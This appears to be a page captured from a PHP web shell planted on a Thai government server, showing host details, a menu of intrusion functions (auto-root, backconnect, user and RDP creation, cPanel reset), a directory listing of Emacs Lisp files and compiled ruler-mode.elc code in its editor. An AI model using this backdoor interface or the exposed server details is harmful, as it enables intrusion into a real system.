Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
emacs /
23.1 /
lisp /
[ HOME SHELL ]
Name
Size
Permission
Action
calc
[ DIR ]
drwxr-xr-x
calendar
[ DIR ]
drwxr-xr-x
emacs-lisp
[ DIR ]
drwxr-xr-x
emulation
[ DIR ]
drwxr-xr-x
erc
[ DIR ]
drwxr-xr-x
eshell
[ DIR ]
drwxr-xr-x
gnus
[ DIR ]
drwxr-xr-x
international
[ DIR ]
drwxr-xr-x
language
[ DIR ]
drwxr-xr-x
mail
[ DIR ]
drwxr-xr-x
mh-e
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
nxml
[ DIR ]
drwxr-xr-x
obsolete
[ DIR ]
drwxr-xr-x
org
[ DIR ]
drwxr-xr-x
play
[ DIR ]
drwxr-xr-x
progmodes
[ DIR ]
drwxr-xr-x
term
[ DIR ]
drwxr-xr-x
textmodes
[ DIR ]
drwxr-xr-x
url
[ DIR ]
drwxr-xr-x
COPYING
34.32
KB
-rw-r--r--
README
538
B
-rw-r--r--
abbrev.elc
29.69
KB
-rw-r--r--
abbrevlist.elc
1.12
KB
-rw-r--r--
add-log.elc
35.21
KB
-rw-r--r--
align.elc
38.38
KB
-rw-r--r--
allout.elc
208.3
KB
-rw-r--r--
ansi-color.elc
16.3
KB
-rw-r--r--
apropos.elc
31.93
KB
-rw-r--r--
arc-mode.elc
54.72
KB
-rw-r--r--
array.elc
25.83
KB
-rw-r--r--
autoarg.elc
5.98
KB
-rw-r--r--
autoinsert.elc
12.01
KB
-rw-r--r--
autorevert.elc
18.25
KB
-rw-r--r--
avoid.elc
10.17
KB
-rw-r--r--
battery.elc
17.98
KB
-rw-r--r--
bindings.elc
39.04
KB
-rw-r--r--
bookmark.elc
55.9
KB
-rw-r--r--
bs.elc
48.34
KB
-rw-r--r--
buff-menu.elc
28
KB
-rw-r--r--
button.elc
13.92
KB
-rw-r--r--
calculator.elc
49.18
KB
-rw-r--r--
case-table.elc
4.42
KB
-rw-r--r--
cdl.elc
1.26
KB
-rw-r--r--
chistory.elc
5.75
KB
-rw-r--r--
cmuscheme.elc
17.43
KB
-rw-r--r--
comint.elc
100.97
KB
-rw-r--r--
compare-w.elc
10.98
KB
-rw-r--r--
complete.elc
23.62
KB
-rw-r--r--
completion.elc
45.06
KB
-rw-r--r--
composite.elc
29.39
KB
-rw-r--r--
cus-dep.elc
5.04
KB
-rw-r--r--
cus-edit.elc
129.67
KB
-rw-r--r--
cus-face.elc
10.46
KB
-rw-r--r--
cus-load.el
63.45
KB
-rw-r--r--
cus-start.elc
10.67
KB
-rw-r--r--
cus-theme.elc
13.7
KB
-rw-r--r--
custom.elc
36.46
KB
-rw-r--r--
cvs-status.elc
23
KB
-rw-r--r--
dabbrev.elc
23.08
KB
-rw-r--r--
delim-col.elc
8.41
KB
-rw-r--r--
delsel.elc
5.24
KB
-rw-r--r--
descr-text.elc
20.69
KB
-rw-r--r--
desktop.elc
34.52
KB
-rw-r--r--
dframe.elc
22.51
KB
-rw-r--r--
diff-mode.elc
55.58
KB
-rw-r--r--
diff.elc
5.51
KB
-rw-r--r--
dired-aux.elc
67.5
KB
-rw-r--r--
dired-x.elc
44.96
KB
-rw-r--r--
dired.elc
96.48
KB
-rw-r--r--
dirtrack.elc
7.39
KB
-rw-r--r--
disp-table.elc
8.33
KB
-rw-r--r--
dnd.elc
7.04
KB
-rw-r--r--
doc-view.elc
36.01
KB
-rw-r--r--
dos-fns.elc
5.53
KB
-rw-r--r--
dos-vars.elc
1.24
KB
-rw-r--r--
dos-w32.elc
11.12
KB
-rw-r--r--
double.elc
4.13
KB
-rw-r--r--
ebuff-menu.elc
9.11
KB
-rw-r--r--
echistory.elc
4.93
KB
-rw-r--r--
ediff-diff.elc
35.54
KB
-rw-r--r--
ediff-help.elc
11.47
KB
-rw-r--r--
ediff-hook.elc
5.89
KB
-rw-r--r--
ediff-init.elc
60.88
KB
-rw-r--r--
ediff-merg.elc
10.04
KB
-rw-r--r--
ediff-mult.elc
58.31
KB
-rw-r--r--
ediff-ptch.elc
18.63
KB
-rw-r--r--
ediff-util.elc
118.44
KB
-rw-r--r--
ediff-vers.elc
4.74
KB
-rw-r--r--
ediff-wind.elc
30.56
KB
-rw-r--r--
ediff.elc
36.28
KB
-rw-r--r--
edmacro.elc
21.45
KB
-rw-r--r--
ehelp.elc
11.03
KB
-rw-r--r--
electric.elc
2.81
KB
-rw-r--r--
elide-head.elc
2.8
KB
-rw-r--r--
emacs-lock.elc
2.77
KB
-rw-r--r--
emerge.elc
80.16
KB
-rw-r--r--
env.elc
5.69
KB
-rw-r--r--
epa-dired.elc
1.87
KB
-rw-r--r--
epa-file.elc
6.77
KB
-rw-r--r--
epa-hook.elc
4.28
KB
-rw-r--r--
epa-mail.elc
7.04
KB
-rw-r--r--
epa.elc
34.03
KB
-rw-r--r--
epg-config.elc
4.01
KB
-rw-r--r--
epg.elc
85.05
KB
-rw-r--r--
expand.elc
9.42
KB
-rw-r--r--
ezimage.elc
9.2
KB
-rw-r--r--
face-remap.elc
13.15
KB
-rw-r--r--
facemenu.elc
23.61
KB
-rw-r--r--
faces.elc
81.51
KB
-rw-r--r--
ffap.elc
46.14
KB
-rw-r--r--
filecache.elc
16.1
KB
-rw-r--r--
files.elc
175.25
KB
-rw-r--r--
filesets.elc
73.03
KB
-rw-r--r--
find-cmd.elc
4.94
KB
-rw-r--r--
find-dired.elc
7.4
KB
-rw-r--r--
find-file.elc
18.68
KB
-rw-r--r--
find-lisp.elc
7.42
KB
-rw-r--r--
finder-inf.el
93.47
KB
-rw-r--r--
finder.elc
12.11
KB
-rw-r--r--
flow-ctrl.elc
2.44
KB
-rw-r--r--
foldout.elc
7.6
KB
-rw-r--r--
follow.elc
37.11
KB
-rw-r--r--
font-core.elc
12.92
KB
-rw-r--r--
font-lock.elc
61.1
KB
-rw-r--r--
format-spec.elc
1.98
KB
-rw-r--r--
format.elc
27.73
KB
-rw-r--r--
forms-d2.el
3.13
KB
-rw-r--r--
forms-pass.el
742
B
-rw-r--r--
forms.elc
35.13
KB
-rw-r--r--
frame.elc
48.66
KB
-rw-r--r--
fringe.elc
8.01
KB
-rw-r--r--
generic-x.elc
44.25
KB
-rw-r--r--
gs.elc
3.93
KB
-rw-r--r--
help-at-pt.elc
11.27
KB
-rw-r--r--
help-fns.elc
21.77
KB
-rw-r--r--
help-macro.elc
4.37
KB
-rw-r--r--
help-mode.elc
19.38
KB
-rw-r--r--
help.elc
40.91
KB
-rw-r--r--
hex-util.elc
1.48
KB
-rw-r--r--
hexl.elc
32.06
KB
-rw-r--r--
hi-lock.elc
23.27
KB
-rw-r--r--
hilit-chg.elc
28.02
KB
-rw-r--r--
hippie-exp.elc
23.39
KB
-rw-r--r--
hl-line.elc
7.71
KB
-rw-r--r--
ibuf-ext.elc
54.62
KB
-rw-r--r--
ibuf-macs.elc
11.65
KB
-rw-r--r--
ibuffer.elc
91.96
KB
-rw-r--r--
icomplete.elc
10.36
KB
-rw-r--r--
ido.elc
110.93
KB
-rw-r--r--
ielm.elc
17.67
KB
-rw-r--r--
iimage.elc
4.06
KB
-rw-r--r--
image-dired.elc
82.24
KB
-rw-r--r--
image-file.elc
6.11
KB
-rw-r--r--
image-mode.elc
14.54
KB
-rw-r--r--
image.elc
17.09
KB
-rw-r--r--
imenu.elc
24.8
KB
-rw-r--r--
indent.elc
17
KB
-rw-r--r--
info-look.elc
26.13
KB
-rw-r--r--
info-xref.elc
7.04
KB
-rw-r--r--
info.elc
119.11
KB
-rw-r--r--
informat.elc
9.69
KB
-rw-r--r--
isearch.elc
76.23
KB
-rw-r--r--
isearchb.elc
4.92
KB
-rw-r--r--
iswitchb.elc
32.11
KB
-rw-r--r--
jit-lock.elc
17.93
KB
-rw-r--r--
jka-cmpr-hook.elc
11.67
KB
-rw-r--r--
jka-compr.elc
12.64
KB
-rw-r--r--
json.elc
13.04
KB
-rw-r--r--
kermit.elc
2.96
KB
-rw-r--r--
kmacro.elc
31.07
KB
-rw-r--r--
ldefs-boot.el
1.17
MB
-rw-r--r--
ledit.elc
4.74
KB
-rw-r--r--
linum.elc
9.56
KB
-rw-r--r--
loaddefs.el
1.17
MB
-rw-r--r--
loadhist.elc
8.65
KB
-rw-r--r--
loadup.el
12.67
KB
-rw-r--r--
locate.elc
17.81
KB
-rw-r--r--
log-edit.elc
24.93
KB
-rw-r--r--
log-view.elc
14.06
KB
-rw-r--r--
longlines.elc
14.94
KB
-rw-r--r--
lpr.elc
8.61
KB
-rw-r--r--
ls-lisp.elc
17.35
KB
-rw-r--r--
macros.elc
6.99
KB
-rw-r--r--
makesum.elc
2.16
KB
-rw-r--r--
man.elc
40.03
KB
-rw-r--r--
master.elc
4.52
KB
-rw-r--r--
mb-depth.elc
3.12
KB
-rw-r--r--
md4.elc
8.14
KB
-rw-r--r--
menu-bar.elc
67.01
KB
-rw-r--r--
midnight.elc
8.92
KB
-rw-r--r--
minibuf-eldef.elc
5.15
KB
-rw-r--r--
minibuffer.elc
42.75
KB
-rw-r--r--
misc.elc
3.67
KB
-rw-r--r--
misearch.elc
8.96
KB
-rw-r--r--
mouse-copy.elc
4.07
KB
-rw-r--r--
mouse-drag.elc
7.33
KB
-rw-r--r--
mouse-sel.elc
20.93
KB
-rw-r--r--
mouse.elc
60.03
KB
-rw-r--r--
msb.elc
27.27
KB
-rw-r--r--
mwheel.elc
9.41
KB
-rw-r--r--
newcomment.elc
32.76
KB
-rw-r--r--
novice.elc
4.75
KB
-rw-r--r--
outline.elc
34.54
KB
-rw-r--r--
paren.elc
6.43
KB
-rw-r--r--
password-cache.elc
3.58
KB
-rw-r--r--
patcomp.el
775
B
-rw-r--r--
paths.el
7.28
KB
-rw-r--r--
pcmpl-cvs.elc
6
KB
-rw-r--r--
pcmpl-gnu.elc
8.21
KB
-rw-r--r--
pcmpl-linux.elc
3.17
KB
-rw-r--r--
pcmpl-rpm.elc
7.5
KB
-rw-r--r--
pcmpl-unix.elc
5.44
KB
-rw-r--r--
pcomplete.elc
34.1
KB
-rw-r--r--
pcvs-defs.elc
16.27
KB
-rw-r--r--
pcvs-info.elc
25.83
KB
-rw-r--r--
pcvs-parse.elc
15.34
KB
-rw-r--r--
pcvs-util.elc
26.8
KB
-rw-r--r--
pcvs.elc
85.52
KB
-rw-r--r--
pgg-def.elc
2.78
KB
-rw-r--r--
pgg-gpg.elc
13.09
KB
-rw-r--r--
pgg-parse.elc
13.45
KB
-rw-r--r--
pgg-pgp.elc
7.64
KB
-rw-r--r--
pgg-pgp5.elc
7.68
KB
-rw-r--r--
pgg.elc
18.01
KB
-rw-r--r--
printing.elc
157.56
KB
-rw-r--r--
proced.elc
57.95
KB
-rw-r--r--
ps-bdf.elc
13.34
KB
-rw-r--r--
ps-def.elc
3.09
KB
-rw-r--r--
ps-mule.elc
36.17
KB
-rw-r--r--
ps-print.elc
145.59
KB
-rw-r--r--
ps-samp.elc
5.5
KB
-rw-r--r--
recentf.elc
49.04
KB
-rw-r--r--
rect.elc
10.79
KB
-rw-r--r--
register.elc
10.69
KB
-rw-r--r--
repeat.elc
6.05
KB
-rw-r--r--
replace.elc
55.02
KB
-rw-r--r--
reposition.elc
2.88
KB
-rw-r--r--
reveal.elc
6.61
KB
-rw-r--r--
rfn-eshadow.elc
7.12
KB
-rw-r--r--
rot13.elc
2.6
KB
-rw-r--r--
ruler-mode.elc
22.48
KB
-rw-r--r--
s-region.elc
3.3
KB
-rw-r--r--
savehist.elc
10.57
KB
-rw-r--r--
saveplace.elc
7.51
KB
-rw-r--r--
sb-image.elc
2.51
KB
-rw-r--r--
scroll-all.elc
4.05
KB
-rw-r--r--
scroll-bar.elc
11.47
KB
-rw-r--r--
scroll-lock.elc
4.64
KB
-rw-r--r--
select.elc
11.8
KB
-rw-r--r--
server.elc
39.79
KB
-rw-r--r--
ses.elc
87.39
KB
-rw-r--r--
sha1.elc
8
KB
-rw-r--r--
shadowfile.elc
22.61
KB
-rw-r--r--
shell.elc
34.08
KB
-rw-r--r--
simple.elc
196.35
KB
-rw-r--r--
skeleton.elc
15.78
KB
-rw-r--r--
smerge-mode.elc
33.61
KB
-rw-r--r--
sort.elc
12.94
KB
-rw-r--r--
soundex.elc
1.34
KB
-rw-r--r--
speedbar.elc
115.06
KB
-rw-r--r--
startup.elc
60.78
KB
-rw-r--r--
strokes.elc
44.11
KB
-rw-r--r--
subdirs.el
426
B
-rw-r--r--
subr.elc
113.48
KB
-rw-r--r--
t-mouse.elc
3.38
KB
-rw-r--r--
tabify.elc
2
KB
-rw-r--r--
talk.elc
3.19
KB
-rw-r--r--
tar-mode.elc
52.24
KB
-rw-r--r--
tempo.elc
18.63
KB
-rw-r--r--
term.elc
99.67
KB
-rw-r--r--
terminal.elc
31.36
KB
-rw-r--r--
thingatpt.elc
10.84
KB
-rw-r--r--
thumbs.elc
26.23
KB
-rw-r--r--
time-stamp.elc
21.03
KB
-rw-r--r--
time.elc
18.2
KB
-rw-r--r--
timezone.elc
10.99
KB
-rw-r--r--
tmm.elc
13.9
KB
-rw-r--r--
tool-bar.elc
9.69
KB
-rw-r--r--
tooltip.elc
12.35
KB
-rw-r--r--
tree-widget.elc
20.87
KB
-rw-r--r--
tutorial.elc
21.41
KB
-rw-r--r--
type-break.elc
35.61
KB
-rw-r--r--
uniquify.elc
19.91
KB
-rw-r--r--
userlock.elc
4.69
KB
-rw-r--r--
vc-annotate.elc
22.68
KB
-rw-r--r--
vc-arch.elc
17.58
KB
-rw-r--r--
vc-bzr.elc
26.84
KB
-rw-r--r--
vc-cvs.elc
32.19
KB
-rw-r--r--
vc-dav.elc
5.3
KB
-rw-r--r--
vc-dir.elc
39.5
KB
-rw-r--r--
vc-dispatcher.elc
14.61
KB
-rw-r--r--
vc-git.elc
32.75
KB
-rw-r--r--
vc-hg.elc
25.95
KB
-rw-r--r--
vc-hooks.elc
32.75
KB
-rw-r--r--
vc-mtn.elc
10.95
KB
-rw-r--r--
vc-rcs.elc
34.99
KB
-rw-r--r--
vc-sccs.elc
13.24
KB
-rw-r--r--
vc-svn.elc
20.57
KB
-rw-r--r--
vc.elc
59.4
KB
-rw-r--r--
vcursor.elc
23.44
KB
-rw-r--r--
version.el
3.37
KB
-rw-r--r--
view.elc
35.96
KB
-rw-r--r--
vt-control.elc
2.06
KB
-rw-r--r--
vt100-led.elc
1.53
KB
-rw-r--r--
w32-fns.elc
15.82
KB
-rw-r--r--
w32-vars.elc
5.53
KB
-rw-r--r--
wdired.elc
21.69
KB
-rw-r--r--
whitespace.elc
59.83
KB
-rw-r--r--
wid-browse.elc
7.89
KB
-rw-r--r--
wid-edit.elc
104.76
KB
-rw-r--r--
widget.elc
1.37
KB
-rw-r--r--
windmove.elc
9.57
KB
-rw-r--r--
window.elc
57.4
KB
-rw-r--r--
winner.elc
11.61
KB
-rw-r--r--
woman.elc
107.73
KB
-rw-r--r--
x-dnd.elc
19.35
KB
-rw-r--r--
xml.elc
18.38
KB
-rw-r--r--
xt-mouse.elc
7.43
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ruler-mode.elc
;ELC ;;; Compiled by mockbuild@c6b8.bsys.dev.centos.org on Thu Feb 19 13:05:14 2015 ;;; from file /builddir/build/BUILD/emacs-23.1/lisp/ruler-mode.el ;;; in Emacs version 23.1.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. (if (and (boundp 'emacs-version) (< (aref emacs-version (1- (length emacs-version))) ?A) (or (and (boundp 'epoch::version) epoch::version) (string-lessp emacs-version "19.29"))) (error "`ruler-mode.el' was compiled for Emacs 19.29 or later")) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\300\301!\210\300\302!\210\303\304\305\306\307\310\311\312&\207" [require scroll-bar fringe custom-declare-group ruler-mode nil "Display a ruler in the header line." :version "22.1" :group convenience] 8) #@312 If non-nil the ruler shows tab stop positions. Also allowing to visually change `tab-stop-list' setting using <C-down-mouse-1> and <C-down-mouse-3> on the ruler to respectively add or remove a tab stop. \[ruler-mode-toggle-show-tab-stops] or <C-down-mouse-2> on the ruler toggles showing/editing of tab stops. (custom-declare-variable 'ruler-mode-show-tab-stops 'nil '(#$ . 830) :group 'ruler-mode :type 'boolean) #@49 Ensure WIDGET value is a valid character value. (defalias 'ruler-mode-character-validate #[(widget) "\212\302!\303 !?\205 \304\305\306\307 \"#\210*\207" [widget value widget-value characterp widget-put :error format "Invalid character value: %S"] 6 (#$ . 1251)]) #@47 Character used at the `fill-column' location. (custom-declare-variable 'ruler-mode-fill-column-char '(if (char-displayable-p 182) 182 124) '(#$ . 1525) :group 'ruler-mode :type '(choice (character :tag "Character") (integer :tag "Integer char value" :validate ruler-mode-character-validate))) #@50 Character used at the `comment-column' location. (custom-declare-variable 'ruler-mode-comment-column-char '35 '(#$ . 1824) :group 'ruler-mode :type '(choice (character :tag "Character") (integer :tag "Integer char value" :validate ruler-mode-character-validate))) #@47 Character used at the `goal-column' location. (custom-declare-variable 'ruler-mode-goal-column-char '71 '(#$ . 2094) :group 'ruler-mode :type '(choice (character :tag "Character") (integer :tag "Integer char value" :validate ruler-mode-character-validate))) #@50 Character used at the `current-column' location. (custom-declare-variable 'ruler-mode-current-column-char '(if (char-displayable-p 166) 166 64) '(#$ . 2358) :group 'ruler-mode :type '(choice (character :tag "Character") (integer :tag "Integer char value" :validate ruler-mode-character-validate))) #@46 Character used at `tab-stop-list' locations. (custom-declare-variable 'ruler-mode-tab-stop-char '84 '(#$ . 2662) :group 'ruler-mode :type '(choice (character :tag "Character") (integer :tag "Integer char value" :validate ruler-mode-character-validate))) #@39 Character used for basic graduations. (custom-declare-variable 'ruler-mode-basic-graduation-char '46 '(#$ . 2922) :group 'ruler-mode :type '(choice (character :tag "Character") (integer :tag "Integer char value" :validate ruler-mode-character-validate))) #@46 Character used for intermediate graduations. (custom-declare-variable 'ruler-mode-inter-graduation-char '33 '(#$ . 3183) :group 'ruler-mode :type '(choice (character :tag "Character") (integer :tag "Integer char value" :validate ruler-mode-character-validate))) #@52 Non-nil means do `ding' when `goal-column' is set. (custom-declare-variable 'ruler-mode-set-goal-column-ding-flag 't '(#$ . 3451) :group 'ruler-mode :type 'boolean) (byte-code "\300\301\302\303\304\305%\210\300\306\307\310\304\305%\210\300\311\312\313\304\305%\210\300\314\315\316\304\305%\210\300\317\320\321\304\305%\210\300\322\323\324\304\305%\210\300\325\326\327\304\305%\210\300\330\331\332\304\305%\210\300\333\334\335\304\305%\210\300\336\337\340\304\305%\207" [custom-declare-face ruler-mode-default ((((type tty)) (:inherit default :background "grey64" :foreground "grey50")) (t (:inherit default :background "grey76" :foreground "grey64" :box (:color "grey76" :line-width 1 :style released-button)))) "Default face used by the ruler." :group ruler-mode ruler-mode-pad ((((type tty)) (:inherit ruler-mode-default :background "grey50")) (t (:inherit ruler-mode-default :background "grey64"))) "Face used to pad inactive ruler areas." ruler-mode-margins ((t (:inherit ruler-mode-default :foreground "white"))) "Face used to highlight margin areas." ruler-mode-fringes ((t (:inherit ruler-mode-default :foreground "green"))) "Face used to highlight fringes areas." ruler-mode-column-number ((t (:inherit ruler-mode-default :foreground "black"))) "Face used to highlight number graduations." ruler-mode-fill-column ((t (:inherit ruler-mode-default :foreground "red"))) "Face used to highlight the fill column character." ruler-mode-comment-column ((t (:inherit ruler-mode-default :foreground "red"))) "Face used to highlight the comment column character." ruler-mode-goal-column ((t (:inherit ruler-mode-default :foreground "red"))) "Face used to highlight the goal column character." ruler-mode-tab-stop ((t (:inherit ruler-mode-default :foreground "steelblue"))) "Face used to highlight tab stop characters." ruler-mode-current-column ((t (:inherit ruler-mode-default :weight bold :foreground "yellow"))) "Face used to highlight the `current-column' character."] 6) #@47 Return the full width of the selected window. (defalias 'ruler-mode-full-window-width #[nil "\301 \3028@Z)\207" [edges window-edges 2] 2 (#$ . 5431)]) (put 'ruler-mode-full-window-width 'byte-optimizer 'byte-compile-inline-expand) #@106 Return a column number relative to the selected window. N is a column number relative to selected frame. (defalias 'ruler-mode-window-col #[(n) "\303\304 @\305 @\206\f \306\307\310 \203 \311\202 \312\n\307=\203# \313\202$ \314\315 !\206+ \306\316\317 !\"*\320\307!%\207" [n real side - window-edges window-margins 0 left nil / ceiling car cadr window-fringes float frame-char-width scroll-bar-columns] 8 (#$ . 5672)]) (put 'ruler-mode-window-col 'byte-optimizer 'byte-compile-inline-expand) #@108 Set left margin end to the graduation where the mouse pointer is on. START-EVENT is the mouse click event. (defalias 'ruler-mode-mouse-set-left-margin #[(start-event) "\211:\203 A@\202 \306 `\307\310F)\211:\203- \311 8:\203' \311\202( \312 8\2023 \306 `\313\310F)\314\211 \314\211 \n =\205\256 \306 \315\316\317 \" r\320\216\321\n\211 @)!\210\322\323\n!@\324 @\325\326!#\322\324 !\311!8!@Z)\325\326!\325\327!#\f\310Y\205\255 \f W\205\255 \330 \211 A\206\225 \310 @\206\236 \310 \331\332\f #\210\333\314\f #,.\207" [start-event event start end col w selected-window (0 . 0) 0 2 1 (0 . 0) nil mapcar #[(frame) "\301!B\207" [frame frame-selected-window] 3] frame-list ((byte-code "\304\211\203( \n@\305 @!\203! \306 A!\203! \307 @ A\310#\210\nA\211\204 *\306 !\2034 \311 \310\"\210\304\207" [save-selected-window-alist elt --dolist-tail-- save-selected-window-window nil frame-live-p window-live-p set-frame-selected-window norecord select-window] 5)) select-window - posn-col-row window-edges scroll-bar-columns left right window-margins message "Left margin set to %d (was %d)" set-window-margins lm rm save-selected-window-alist save-selected-window-window position edges] 6 (#$ . 6175) "e"]) #@115 Set right margin beginning to the graduation where the mouse pointer is on. START-EVENT is the mouse click event. (defalias 'ruler-mode-mouse-set-right-margin #[(start-event) "\211:\203 A@\202 \306 `\307\310F)\211:\203- \311 8:\203' \311\202( \312 8\2023 \306 `\313\310F)\314\211 \314\211 \n =\205\264 \306 \315\316\317 \" r\320\216\321\n\211 @)!\210\322\323\n!@\324 @\325\326!#\322\324 !\311!8!@Z)\325\326!\325\327!#\f\310Y\205\263 \f W\205\263 \330 \211 A\206\225 \310 @\206\236 \310 \322 \f\312#\331\332\f #\210\333\314 \f#,.\207" [start-event event start end col w selected-window (0 . 0) 0 2 1 (0 . 0) nil mapcar #[(frame) "\301!B\207" [frame frame-selected-window] 3] frame-list ((byte-code "\304\211\203( \n@\305 @!\203! \306 A!\203! \307 @ A\310#\210\nA\211\204 *\306 !\2034 \311 \310\"\210\304\207" [save-selected-window-alist elt --dolist-tail-- save-selected-window-window nil frame-live-p window-live-p set-frame-selected-window norecord select-window] 5)) select-window - posn-col-row window-edges scroll-bar-columns left right window-margins message "Right margin set to %d (was %d)" set-window-margins lm rm save-selected-window-alist save-selected-window-window position edges] 6 (#$ . 7413) "e"]) #@125 Column symbol dragged in the ruler. That is `fill-column', `comment-column', `goal-column', or nil when nothing is dragged. (defvar ruler-mode-dragged-symbol nil (#$ . 8673)) #@234 Drag a column symbol on the ruler. Start dragging on mouse down event START-EVENT, and update the column symbol value with the current value of the ruler graduation while dragging. See also the variable `ruler-mode-dragged-symbol'. (defalias 'ruler-mode-mouse-grab-any-column #[(start-event) "\306 \211:\203 \nA@\202 \307 `\310\311F)\306\211 \306 .\307 \312\313\314 \" / 0r\315\216\316 \211 1@)!\210\317 !@ 2\3202\321 @\322 @\206H \311\323\306 3 43\203W \324\202X \3254\323=\203c \326\202d \327\330 !\206k \311\331\332 !\"*\333\323!%)\211\334 \\\f\311Y\205\f\335 W\205 =\203\231 .\336\202\342 =\203\251 .\337\202\342 =\203\271 .\340\202\342 ?\205 . \341 \2105\203\321 \342 \210\343\344 \345\3466!\347\350##\210\306\202\351 \211 1@)!\352=\203\373 \340=\205\353\354!\202\343\355\211J.$.\207" [ruler-mode-dragged-symbol start-event event start col newc nil selected-window (0 . 0) 0 mapcar #[(frame) "\301!B\207" [frame frame-selected-window] 3] frame-list ((byte-code "\304\211\203( \n@\305 @!\203! \306 A!\203! \307 @ A\310#\210\nA\211\204 *\306 !\2034 \311 \310\"\210\304\207" [save-selected-window-alist elt --dolist-tail-- save-selected-window-window nil frame-live-p window-live-p set-frame-selected-window norecord select-window] 5)) select-window posn-col-row - window-edges window-margins left / ceiling car cadr window-fringes float frame-char-width scroll-bar-columns window-hscroll window-width fill-column comment-column goal-column read-event ding message "Goal column set to %d (click on %s again to unset it)" propertize char-to-string face ruler-mode-goal-column ruler-mode-mouse-drag-any-column-iteration click set-goal-column t "%s is set to %d (was %d)" oldc save-selected-window-alist save-selected-window-window position n real side ruler-mode-set-goal-column-ding-flag ruler-mode-goal-column-char] 9 (#$ . 8855) "e"]) #@205 Update the ruler while dragging the mouse. WINDOW is the window where occurred the last down-mouse event. Return the symbol `drag' if the mouse has been dragged, or `click' if the mouse has been clicked. (defalias 'ruler-mode-mouse-drag-any-column-iteration #[(window) "\302\303\304 \210\305 !\203 \306!@\307=\203 \307\202 \310*\207" [event drags 0 nil (lambda nil (track-mouse (byte-code "\305 \211\211\242)\306=\205B \nT \211:\203) \3078:\203# \307\202$ \3108\202/ \311 `\312\313F)\211 @)=\203 \314!\210\315 \210\202 \207" [event object drags window position read-event mouse-movement 2 1 selected-window (0 . 0) 0 ruler-mode-mouse-drag-any-column force-mode-line-update] 6))) zerop event-modifiers click drag] 2 (#$ . 10764)]) #@101 Update the value of the symbol dragged on the ruler. Called on each mouse motion event START-EVENT. (defalias 'ruler-mode-mouse-drag-any-column #[(start-event) "\211:\203 A@\202 \306 `\307\310F)\211:\203- \311 8:\203' \311\202( \312 8\2023 \306 `\313\310F)\314\211 \306 \315\316\317 \" ! \"r\320\216\321\n\211 #@)!\210\322 !@ $\323$\324 @\325 @\206c \310\326\314 % &%\203r \327\202s \330&\326=\203~ \331\202 \332\333 !\206\206 \310\334\335 !\"*\336\326!%)\211\337 \\\f\310Y\205\250 \f\340 W\205\250 ' L.\207" [start-event event start end col newc selected-window (0 . 0) 0 2 1 (0 . 0) nil mapcar #[(frame) "\301!B\207" [frame frame-selected-window] 3] frame-list ((byte-code "\304\211\203( \n@\305 @!\203! \306 A!\203! \307 @ A\310#\210\nA\211\204 *\306 !\2034 \311 \310\"\210\304\207" [save-selected-window-alist elt --dolist-tail-- save-selected-window-window nil frame-live-p window-live-p set-frame-selected-window norecord select-window] 5)) select-window posn-col-row - window-edges window-margins left / ceiling car cadr window-fringes float frame-char-width scroll-bar-columns window-hscroll window-width save-selected-window-alist save-selected-window-window position n real side ruler-mode-dragged-symbol] 9 (#$ . 11517)]) #@103 Add a tab stop to the graduation where the mouse pointer is on. START-EVENT is the mouse click event. (defalias 'ruler-mode-mouse-add-tab-stop #[(start-event) "\205\314 \211:\203 \nA@\202 \306 `\307\310F) \211:\2031 \311\n8:\203+ \311\202, \312\n8\2027 \306 `\313\310F) \314\211 % \f=\205\313 \306 \315\316\317 \" & 'r\320\216\321 \211 (@)!\210\322 !@ )\323)\324 @\325 @\206n \310\326\314 * +*\203} \327\202~ \330+\326=\203\211 \331\202\212 \332\333 !\206\221 \310\334\335 !\"*\336\326!%)\211\337 \\% \310Y\205\312 \340 W\205\312 %,\235?\205\312 \341\342%\"\210\343%,B\344\"\211,,,\207" [ruler-mode-show-tab-stops start-event event start end col selected-window (0 . 0) 0 2 1 (0 . 0) nil mapcar #[(frame) "\301!B\207" [frame frame-selected-window] 3] frame-list ((byte-code "\304\211\203( \n@\305 @!\203! \306 A!\203! \307 @ A\310#\210\nA\211\204 *\306 !\2034 \311 \310\"\210\304\207" [save-selected-window-alist elt --dolist-tail-- save-selected-window-window nil frame-live-p window-live-p set-frame-selected-window norecord select-window] 5)) select-window posn-col-row - window-edges window-margins left / ceiling car cadr window-fringes float frame-char-width scroll-bar-columns window-hscroll window-width message "Tab stop set to %d" sort < ts save-selected-window-alist save-selected-window-window position n real side tab-stop-list] 9 (#$ . 12783) "e"]) #@104 Delete tab stop at the graduation where the mouse pointer is on. START-EVENT is the mouse click event. (defalias 'ruler-mode-mouse-del-tab-stop #[(start-event) "\205\311 \211:\203 \nA@\202 \306 `\307\310F) \211:\2031 \311\n8:\203+ \311\202, \312\n8\2027 \306 `\313\310F) \314\211 $ \f=\205\310 \306 \315\316\317 \" % &r\320\216\321 \211 '@)!\210\322 !@ (\323(\324 @\325 @\206n \310\326\314 ) *)\203} \327\202~ \330*\326=\203\211 \331\202\212 \332\333 !\206\221 \310\334\335 !\"*\336\326!%)\211\337 \\$ \310Y\205\307 \340 W\205\307 $+\235\205\307 \341\342$\"\210\343$+\"\211+,,\207" [ruler-mode-show-tab-stops start-event event start end col selected-window (0 . 0) 0 2 1 (0 . 0) nil mapcar #[(frame) "\301!B\207" [frame frame-selected-window] 3] frame-list ((byte-code "\304\211\203( \n@\305 @!\203! \306 A!\203! \307 @ A\310#\210\nA\211\204 *\306 !\2034 \311 \310\"\210\304\207" [save-selected-window-alist elt --dolist-tail-- save-selected-window-window nil frame-live-p window-live-p set-frame-selected-window norecord select-window] 5)) select-window posn-col-row - window-edges window-margins left / ceiling car cadr window-fringes float frame-char-width scroll-bar-columns window-hscroll window-width message "Tab 